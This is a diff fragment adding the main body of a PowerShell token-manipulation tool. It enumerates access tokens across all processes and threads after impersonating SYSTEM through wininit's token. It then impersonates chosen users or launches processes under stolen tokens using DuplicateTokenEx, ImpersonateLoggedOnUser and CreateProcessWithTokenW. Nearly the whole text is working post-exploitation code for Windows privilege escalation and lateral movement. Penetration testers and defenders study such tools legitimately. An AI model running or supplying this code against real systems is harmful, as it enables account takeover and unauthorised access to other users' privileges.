+ else
+ {
+ $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
+ Write-Warning "Error calling LookupAccountSidW. Error code: $ErrorCode"
+ }
+
+ [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UsernameBuffer)
+ $UsernameBuffer = [IntPtr]::Zero
+ [System.Runtime.InteropServices.Marshal]::FreeHGlobal($DomainBuffer)
+ $DomainBuffer = [IntPtr]::Zero
+ }
+
+ $ReturnObj = New-Object PSObject
+ $ReturnObj | Add-Member -Type NoteProperty -Name Domain -Value $Domain
+ $ReturnObj | Add-Member -Type NoteProperty -Name Username -Value $Username
+ $ReturnObj | Add-Member -Type NoteProperty -Name hToken -Value $hToken
+ $ReturnObj | Add-Member -Type NoteProperty -Name LogonType -Value $LogonSessionData.LogonType
+
+
+ #Query additional info about the token such as if it is elevated
+ $ReturnObj | Add-Member -Type NoteProperty -Name IsElevated -Value $false
+
+ $TokenElevationSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_ELEVATION)
+ $TokenElevationPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenElevationSize)
+ [UInt32]$RealSize = 0
+ $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenElevation, $TokenElevationPtr, $TokenElevationSize, [Ref]$RealSize)
+ if (-not $Success)
+ {
+ $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
+ Write-Warning "GetTokenInformation failed to retrieve TokenElevation status. ErrorCode: $ErrorCode"
+ }
+ else
+ {
+ $TokenElevation = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenelevationPtr, [Type]$TOKEN_ELEVATION)
+ if ($TokenElevation.TokenIsElevated -ne 0)
+ {
+ $ReturnObj.IsElevated = $true
+ }
+ }
+ [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenElevationPtr)
+
+
+ #Query the token type to determine if the token is a primary or impersonation token
+ $ReturnObj | Add-Member -Type NoteProperty -Name TokenType -Value "UnableToRetrieve"
+
+ [UInt32]$TokenTypeSize = 4
+ [IntPtr]$TokenTypePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenTypeSize)
+ [UInt32]$RealSize = 0
+ $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenType, $TokenTypePtr, $TokenTypeSize, [Ref]$RealSize)
+ if (-not $Success)
+ {
+ $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
+ Write-Warning "GetTokenInformation failed to retrieve TokenImpersonationLevel status. ErrorCode: $ErrorCode"
+ }
+ else
+ {
+ [UInt32]$TokenType = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenTypePtr, [Type][UInt32])
+ switch($TokenType)
+ {
+ 1 {$ReturnObj.TokenType = "Primary"}
+ 2 {$ReturnObj.TokenType = "Impersonation"}
+ }
+ }
+ [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenTypePtr)
+
+
+ #Query the impersonation level if the token is an Impersonation token
+ if ($ReturnObj.TokenType -ieq "Impersonation")
+ {
+ $ReturnObj | Add-Member -Type NoteProperty -Name ImpersonationLevel -Value "UnableToRetrieve"
+
+ [UInt32]$ImpersonationLevelSize = 4
+ [IntPtr]$ImpersonationLevelPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ImpersonationLevelSize) #sizeof uint32
+ [UInt32]$RealSize = 0
+ $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenImpersonationLevel, $ImpersonationLevelPtr, $ImpersonationLevelSize, [Ref]$RealSize)
+ if (-not $Success)
+ {
+ $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
+ Write-Warning "GetTokenInformation failed to retrieve TokenImpersonationLevel status. ErrorCode: $ErrorCode"
+ }
+ else
+ {
+ [UInt32]$ImpersonationLevel = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImpersonationLevelPtr, [Type][UInt32])
+ switch ($ImpersonationLevel)
+ {
+ 0 { $ReturnObj.ImpersonationLevel = "SecurityAnonymous" }
+ 1 { $ReturnObj.ImpersonationLevel = "SecurityIdentification" }
+ 2 { $ReturnObj.ImpersonationLevel = "SecurityImpersonation" }
+ 3 { $ReturnObj.ImpersonationLevel = "SecurityDelegation" }
+ }
+ }
+ [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ImpersonationLevelPtr)
+ }
+
+
+ #Query the token sessionid
+ $ReturnObj | Add-Member -Type NoteProperty -Name SessionID -Value "Unknown"
+
+ [UInt32]$TokenSessionIdSize = 4
+ [IntPtr]$TokenSessionIdPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenSessionIdSize)
+ [UInt32]$RealSize = 0
+ $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenSessionId, $TokenSessionIdPtr, $TokenSessionIdSize, [Ref]$RealSize)
+ if (-not $Success)
+ {
+ $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
+ Write-Warning "GetTokenInformation failed to retrieve Token SessionId. ErrorCode: $ErrorCode"
+ }
+ else
+ {
+ [UInt32]$TokenSessionId = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenSessionIdPtr, [Type][UInt32])
+ $ReturnObj.SessionID = $TokenSessionId
+ }
+ [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenSessionIdPtr)
+
+
+ #Query the token privileges
+ $ReturnObj | Add-Member -Type NoteProperty -Name PrivilegesEnabled -Value @()
+ $ReturnObj | Add-Member -Type NoteProperty -Name PrivilegesAvailable -Value @()
+
+ [UInt32]$TokenPrivilegesSize = 1000
+ [IntPtr]$TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivilegesSize)
+ [UInt32]$RealSize = 0
+ $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenPrivileges, $TokenPrivilegesPtr, $TokenPrivilegesSize, [Ref]$RealSize)
+ if (-not $Success)
+ {
+ $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
+ Write-Warning "GetTokenInformation failed to retrieve Token SessionId. ErrorCode: $ErrorCode"
+ }
+ else
+ {
+ $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES)
+
+ #Loop through each privilege
+ [IntPtr]$PrivilegesBasePtr = [IntPtr](Add-SignedIntAsUnsigned $TokenPrivilegesPtr ([System.Runtime.InteropServices.Marshal]::OffsetOf([Type]$TOKEN_PRIVILEGES, "Privileges")))
+ $LuidAndAttributeSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES)
+ for ($i = 0; $i -lt $TokenPrivileges.PrivilegeCount; $i++)
+ {
+ $LuidAndAttributePtr = [IntPtr](Add-SignedIntAsUnsigned $PrivilegesBasePtr ($LuidAndAttributeSize * $i))
+
+ $LuidAndAttribute = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributePtr, [Type]$LUID_AND_ATTRIBUTES)
+
+ #Lookup privilege name
+ [UInt32]$PrivilegeNameSize = 60
+ $PrivilegeNamePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PrivilegeNameSize)
+ $PLuid = $LuidAndAttributePtr #The Luid structure is the first object in the LuidAndAttributes structure, so a ptr to LuidAndAttributes also points to Luid
+
+ $Success = $LookupPrivilegeNameW.Invoke([IntPtr]::Zero, $PLuid, $PrivilegeNamePtr, [Ref]$PrivilegeNameSize)
+ if (-not $Success)
+ {
+ $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
+ Write-Warning "Call to LookupPrivilegeNameW failed. Error code: $ErrorCode. RealSize: $PrivilegeNameSize"
+ }
+ $PrivilegeName = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($PrivilegeNamePtr)
+
+ #Get the privilege attributes
+ $PrivilegeStatus = ""
+ $Enabled = $false
+
+ if ($LuidAndAttribute.Attributes -eq 0)
+ {
+ $Enabled = $false
+ }
+ if (($LuidAndAttribute.Attributes -band $Win32Constants.SE_PRIVILEGE_ENABLED_BY_DEFAULT) -eq $Win32Constants.SE_PRIVILEGE_ENABLED_BY_DEFAULT) #enabled by default
+ {
+ $Enabled = $true
+ }
+ if (($LuidAndAttribute.Attributes -band $Win32Constants.SE_PRIVILEGE_ENABLED) -eq $Win32Constants.SE_PRIVILEGE_ENABLED) #enabled
+ {
+ $Enabled = $true
+ }
+ if (($LuidAndAttribute.Attributes -band $Win32Constants.SE_PRIVILEGE_REMOVED) -eq $Win32Constants.SE_PRIVILEGE_REMOVED) #SE_PRIVILEGE_REMOVED. This should never exist. Write a warning if it is found so I can investigate why/how it was found.
+ {
+ Write-Warning "Unexpected behavior: Found a token with SE_PRIVILEGE_REMOVED. Please report this as a bug. "
+ }
+
+ if ($Enabled)
+ {
+ $ReturnObj.PrivilegesEnabled += ,$PrivilegeName
+ }
+ else
+ {
+ $ReturnObj.PrivilegesAvailable += ,$PrivilegeName
+ }
+
+ [System.Runtime.InteropServices.Marshal]::FreeHGlobal($PrivilegeNamePtr)
+ }
+ }
+ [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr)
+
+ }
+ else
+ {
+ Write-Verbose "Call to LsaGetLogonSessionData succeeded. This SHOULD be SYSTEM since there is no data. $($LogonSessionData.UserName.Length)"
+ }
+
+ #Free LogonSessionData
+ $ntstatus = $LsaFreeReturnBuffer.Invoke($LogonSessionDataPtr)
+ $LogonSessionDataPtr = [IntPtr]::Zero
+ if ($ntstatus -ne 0)
+ {
+ Write-Warning "Call to LsaFreeReturnBuffer failed. Error code: $ntstatus"
+ }
+ }
+
+ [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr)
+ $LuidPtr = [IntPtr]::Zero
+ }
+
+ [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenStatsPtr)
+ $TokenStatsPtr = [IntPtr]::Zero
+
+ return $ReturnObj
+ }
+
+
+ #Takes an array of TokenObjects built by the script and returns the unique ones
+ function Get-UniqueTokens
+ {
+ Param(
+ [Parameter(Position=0, Mandatory=$true)]
+ [Object[]]
+ $AllTokens
+ )
+
+ $TokenByUser = @{}
+ $TokenByEnabledPriv = @{}
+ $TokenByAvailablePriv = @{}
+
+ #Filter tokens by user
+ foreach ($Token in $AllTokens)
+ {
+ $Key = $Token.Domain + "\" + $Token.Username
+ if (-not $TokenByUser.ContainsKey($Key))
+ {
+ #Filter out network logons and junk Windows accounts. This filter eliminates accounts which won't have creds because
+ # they are network logons (type 3) or logons for which the creds don't matter like LOCOAL SERVICE, DWM, etc..
+ if ($Token.LogonType -ne 3 -and
+ $Token.Username -inotmatch "^DWM-\d+$" -and
+ $Token.Username -inotmatch "^LOCAL\sSERVICE$")
+ {
+ $TokenByUser.Add($Key, $Token)
+ }
+ }
+ else
+ {
+ #If Tokens have equal elevation levels, compare their privileges.
+ if($Token.IsElevated -eq $TokenByUser[$Key].IsElevated)
+ {
+ if (($Token.PrivilegesEnabled.Count + $Token.PrivilegesAvailable.Count) -gt ($TokenByUser[$Key].PrivilegesEnabled.Count + $TokenByUser[$Key].PrivilegesAvailable.Count))
+ {
+ $TokenByUser[$Key] = $Token
+ }
+ }
+ #If the new token is elevated and the current token isn't, use the new token
+ elseif (($Token.IsElevated -eq $true) -and ($TokenByUser[$Key].IsElevated -eq $false))
+ {
+ $TokenByUser[$Key] = $Token
+ }
+ }
+ }
+
+ #Filter tokens by privilege
+ foreach ($Token in $AllTokens)
+ {
+ $Fullname = "$($Token.Domain)\$($Token.Username)"
+
+ #Filter currently enabled privileges
+ foreach ($Privilege in $Token.PrivilegesEnabled)
+ {
+ if ($TokenByEnabledPriv.ContainsKey($Privilege))
+ {
+ if($TokenByEnabledPriv[$Privilege] -notcontains $Fullname)
+ {
+ $TokenByEnabledPriv[$Privilege] += ,$Fullname
+ }
+ }
+ else
+ {
+ $TokenByEnabledPriv.Add($Privilege, @($Fullname))
+ }
+ }
+
+ #Filter currently available (but not enable) privileges
+ foreach ($Privilege in $Token.PrivilegesAvailable)
+ {
+ if ($TokenByAvailablePriv.ContainsKey($Privilege))
+ {
+ if($TokenByAvailablePriv[$Privilege] -notcontains $Fullname)
+ {
+ $TokenByAvailablePriv[$Privilege] += ,$Fullname
+ }
+ }
+ else
+ {
+ $TokenByAvailablePriv.Add($Privilege, @($Fullname))
+ }
+ }
+ }
+
+ $ReturnDict = @{
+ TokenByUser = $TokenByUser
+ TokenByEnabledPriv = $TokenByEnabledPriv
+ TokenByAvailablePriv = $TokenByAvailablePriv
+ }
+
+ return (New-Object PSObject -Property $ReturnDict)
+ }
+
+
+ function Invoke-ImpersonateUser
+ {
+ Param(
+ [Parameter(Position=0, Mandatory=$true)]
+ [IntPtr]
+ $hToken
+ )
+
+ #Duplicate the token so it can be used to create a new process
+ [IntPtr]$NewHToken = [IntPtr]::Zero
+ $Success = $DuplicateTokenEx.Invoke($hToken, $Win32Constants.MAXIMUM_ALLOWED, [IntPtr]::Zero, 3, 1, [Ref]$NewHToken) #todo does this need to be freed
+ if (-not $Success)
+ {
+ $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
+ Write-Warning "DuplicateTokenEx failed. ErrorCode: $ErrorCode"
+ }
+ else
+ {
+ $Success = $ImpersonateLoggedOnUser.Invoke($NewHToken)
+ if (-not $Success)
+ {
+ $Errorcode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
+ Write-Warning "Failed to ImpersonateLoggedOnUser. Error code: $Errorcode"
+ }
+ }
+
+ $Success = $CloseHandle.Invoke($NewHToken)
+ $NewHToken = [IntPtr]::Zero
+ if (-not $Success)
+ {
+ $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
+ Write-Warning "CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode"
+ }
+
+ return $Success
+ }
+
+
+ function Create-ProcessWithToken
+ {
+ Param(
+ [Parameter(Position=0, Mandatory=$true)]
+ [IntPtr]
+ $hToken,
+
+ [Parameter(Position=1, Mandatory=$true)]
+ [String]
+ $ProcessName,
+
+ [Parameter(Position=2)]
+ [String]
+ $ProcessArgs
+ )
+
+ #Duplicate the token so it can be used to create a new process
+ [IntPtr]$NewHToken = [IntPtr]::Zero
+ $Success = $DuplicateTokenEx.Invoke($hToken, $Win32Constants.MAXIMUM_ALLOWED, [IntPtr]::Zero, 3, 1, [Ref]$NewHToken)
+ if (-not $Success)
+ {
+ $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
+ Write-Warning "DuplicateTokenEx failed. ErrorCode: $ErrorCode"
+ }
+ else
+ {
+ $StartupInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$STARTUPINFO)
+ [IntPtr]$StartupInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($StartupInfoSize)
+ $memset.Invoke($StartupInfoPtr, 0, $StartupInfoSize) | Out-Null
+ [System.Runtime.InteropServices.Marshal]::WriteInt32($StartupInfoPtr, $StartupInfoSize) #The first parameter (cb) is a DWORD which is the size of the struct
+
+ $ProcessInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$PROCESS_INFORMATION)
+ [IntPtr]$ProcessInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ProcessInfoSize)
+
+ $ProcessNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ProcessName)
+ $ProcessArgsPtr = [IntPtr]::Zero
+ if (-not [String]::IsNullOrEmpty($ProcessArgs))
+ {
+ $ProcessArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ProcessArgs)
+ }
+
+ $Success = $CreateProcessWithTokenW.Invoke($NewHToken, 0x0, $ProcessNamePtr, $ProcessArgsPtr, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr)
+ if ($Success)
+ {
+ #Free the handles returned in the ProcessInfo structure
+ $ProcessInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ProcessInfoPtr, [Type]$PROCESS_INFORMATION)
+ $CloseHandle.Invoke($ProcessInfo.hProcess) | Out-Null
+ $CloseHandle.Invoke($ProcessInfo.hThread) | Out-Null
+ }
+ else
+ {
+ $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
+ Write-Warning "CreateProcessWithTokenW failed. Error code: $ErrorCode"
+ }
+
+ #Free StartupInfo memory and ProcessInfo memory
+ [System.Runtime.InteropServices.Marshal]::FreeHGlobal($StartupInfoPtr)
+ $StartupInfoPtr = [Intptr]::Zero
+ [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcessInfoPtr)
+ $ProcessInfoPtr = [IntPtr]::Zero
+ [System.Runtime.InteropServices.Marshal]::ZeroFreeGlobalAllocUnicode($ProcessNamePtr)
+ $ProcessNamePtr = [IntPtr]::Zero
+
+ #Close handle for the token duplicated with DuplicateTokenEx
+ $Success = $CloseHandle.Invoke($NewHToken)
+ $NewHToken = [IntPtr]::Zero
+ if (-not $Success)
+ {
+ $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
+ Write-Warning "CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode"
+ }
+ }
+ }
+
+
+ function Free-AllTokens
+ {
+ Param(
+ [Parameter(Position=0, Mandatory=$true)]
+ [PSObject[]]
+ $TokenInfoObjs
+ )
+
+ foreach ($Obj in $TokenInfoObjs)
+ {
+ $Success = $CloseHandle.Invoke($Obj.hToken)
+ if (-not $Success)
+ {
+ $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
+ Write-Verbose "Failed to close token handle in Free-AllTokens. ErrorCode: $ErrorCode"
+ }
+ $Obj.hToken = [IntPtr]::Zero
+ }
+ }
+
+
+ #Enumerate all tokens on the system. Returns an array of objects with the token and information about the token.
+ function Enum-AllTokens
+ {
+ $AllTokens = @()
+
+ if ([Environment]::UserName -ine "SYSTEM")
+ {
+ #First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token.
+ $systemTokenInfo = Get-PrimaryToken -ProcessId (Get-Process wininit | where {$_.SessionId -eq 0}).Id
+ if ($systemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken)))
+ {
+ Write-Warning "Unable to impersonate SYSTEM, the script will not be able to enumerate all tokens"
+ }
+
+ if ($systemTokenInfo -ne $null -and $systemTokenInfo.hProcToken -ne [IntPtr]::Zero)
+ {
+ $CloseHandle.Invoke($systemTokenInfo.hProcToken) | Out-Null
+ $systemTokenInfo = $null
+ }
+ }
+
+ $ProcessIds = get-process | where {$_.name -inotmatch "^csrss$" -and $_.name -inotmatch "^system$" -and $_.id -ne 0}
+
+ #Get all tokens
+ foreach ($Process in $ProcessIds)
+ {
+ $PrimaryTokenInfo = (Get-PrimaryToken -ProcessId $Process.Id -FullPrivs)
+
+ #If a process is a protected process, it's primary token cannot be obtained. Don't try to enumerate it.
+ if ($PrimaryTokenInfo -ne $null)
+ {
+ [IntPtr]$hToken = [IntPtr]$PrimaryTokenInfo.hProcToken
+
+ if ($hToken -ne [IntPtr]::Zero)
+ {
+ #Get the LUID corrosponding to the logon
+ $ReturnObj = Get-TokenInformation -hToken $hToken
+ if ($ReturnObj -ne $null)
+ {
+ $ReturnObj | Add-Member -MemberType NoteProperty -Name ProcessId -Value $Process.Id
+
+ $AllTokens += $ReturnObj
+ }
+ }
+ else
+ {
+ Write-Warning "Couldn't retrieve token for Process: $($Process.Name). ProcessId: $($Process.Id)"
+ }
+
+ foreach ($Thread in $Process.Threads)
+ {
+ $ThreadTokenInfo = Get-ThreadToken -ThreadId $Thread.Id
+ [IntPtr]$hToken = ($ThreadTokenInfo.hThreadToken)
+
+ if ($hToken -ne [IntPtr]::Zero)
+ {
+ $ReturnObj = Get-TokenInformation -hToken $hToken
+ if ($ReturnObj -ne $null)
+ {
+ $ReturnObj | Add-Member -MemberType NoteProperty -Name ThreadId -Value $Thread.Id
+
+ $AllTokens += $ReturnObj
+ }
+ }
+ }
+ }
+ }
+
+ return $AllTokens
+ }
+
+
+ function Invoke-RevertToSelf
+ {
+ Param(
+ [Parameter(Position=0)]
+ [Switch]
+ $ShowOutput
+ )
+
+ $Success = $RevertToSelf.Invoke()
+
+ if ($ShowOutput)
+ {
+ if ($Success)
+ {
+ Write-Output "RevertToSelf was successful. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"
+ }
+ else
+ {
+ Write-Output "RevertToSelf failed. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"
+ }
+ }
+ }
+
+
+ #Main function
+ function Main
+ {
+ if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator"))
+ {
+ Write-Error "Script must be run as administrator" -ErrorAction Stop
+ }
+
+ $OriginalUser = [Environment]::UserName
+
+ if ($PsCmdlet.ParameterSetName -ieq "RevToSelf")
+ {
+ Invoke-RevertToSelf -ShowOutput
+ }
+ elseif ($PsCmdlet.ParameterSetName -ieq "CreateProcess" -or $PsCmdlet.ParameterSetName -ieq "ImpersonateUser")
+ {
+ $AllTokens = Enum-AllTokens
+
+ #Select the token to use
+ [IntPtr]$hToken = [IntPtr]::Zero
+ $UniqueTokens = (Get-UniqueTokens -AllTokens $AllTokens).TokenByUser
+ if ($Username -ne $null -and $Username -ne '')
+ {
+ if ($UniqueTokens.ContainsKey($Username))
+ {
+ $hToken = $UniqueTokens[$Username].hToken
+ Write-Verbose "Selecting token by username"
+ }
+ else
+ {
+ Write-Error "A token belonging to the specified username was not found. Username: $($Username)" -ErrorAction Stop
+ }
+ }
+ elseif ( $ProcessId -ne $null -and $ProcessId -ne 0)
+ {
+ foreach ($Token in $AllTokens)
+ {
+ if (($Token | Get-Member ProcessId) -and $Token.ProcessId -eq $ProcessId)
+ {
+ $hToken = $Token.hToken
+ Write-Verbose "Selecting token by ProcessID"
+ }
+ }
+
+ if ($hToken -eq [IntPtr]::Zero)
+ {
+ Write-Error "A token belonging to ProcessId $($ProcessId) could not be found. Either the process doesn't exist or it is a protected process and cannot be opened." -ErrorAction Stop
+ }
+ }
+ elseif ($ThreadId -ne $null -and $ThreadId -ne 0)
+ {
+ foreach ($Token in $AllTokens)
+ {
+ if (($Token | Get-Member ThreadId) -and $Token.ThreadId -eq $ThreadId)
+ {
+ $hToken = $Token.hToken
+ Write-Verbose "Selecting token by ThreadId"
+ }
+ }
+
+ if ($hToken -eq [IntPtr]::Zero)
+ {
+ Write-Error "A token belonging to ThreadId $($ThreadId) could not be found. Either the thread doesn't exist or the thread is in a protected process and cannot be opened." -ErrorAction Stop
+ }
+ }
+ elseif ($Process -ne $null)
+ {
+ foreach ($Token in $AllTokens)
+ {
+ if (($Token | Get-Member ProcessId) -and $Token.ProcessId -eq $Process.Id)
+ {
+ $hToken = $Token.hToken
+ Write-Verbose "Selecting token by Process object"
+ }
+ }
+
+ if ($hToken -eq [IntPtr]::Zero)
+ {
+ Write-Error "A token belonging to Process $($Process.Name) ProcessId $($Process.Id) could not be found. Either the process doesn't exist or it is a protected process and cannot be opened." -ErrorAction Stop
+ }
+ }
+ else
+ {
+ Write-Error "Must supply a Username, ProcessId, ThreadId, or Process object" -ErrorAction Stop
+ }
+
+ #Use the token for the selected action
+ if ($PsCmdlet.ParameterSetName -ieq "CreateProcess")
+ {
+ if (-not $NoUI)
+ {
+ Set-DesktopACLs
+ }
+
+ Create-ProcessWithToken -hToken $hToken -ProcessName $CreateProcess -ProcessArgs $ProcessArgs
+
+ if ($OriginalUser -ine "SYSTEM")
+ {
+ Invoke-RevertToSelf
+ }
+ }
+ elseif ($ImpersonateUser)
+ {
+ Invoke-ImpersonateUser -hToken $hToken | Out-Null
+ Write-Output "Running As: $([Environment]::UserDomainName)\$([Environment]::UserName)"
+ }
+
+ Free-AllTokens -TokenInfoObjs $AllTokens
+ }
+ elseif ($PsCmdlet.ParameterSetName -ieq "WhoAmI")
+ {
+ Write-Output "$([Environment]::UserDomainName)\$([Environment]::UserName)"
+ }
+ else #Enumerate tokens
+ {
+ $AllTokens = Enum-AllTokens
+
+ if ($PsCmdlet.ParameterSetName -ieq "ShowAll")
+ {
+ Write-Output $AllTokens
+ }
+ else
+ {
+ Write-Output (Get-UniqueTokens -AllTokens $AllTokens).TokenByUser.Values
+ }
+
+ if ($OriginalUser -ine "SYSTEM")
+ {
+ Invoke-RevertToSelf
+ }
+
+ Free-AllTokens -TokenInfoObjs $AllTokens
+ }
+ }
+
+
+ #Start the main function
+ Main
+}
+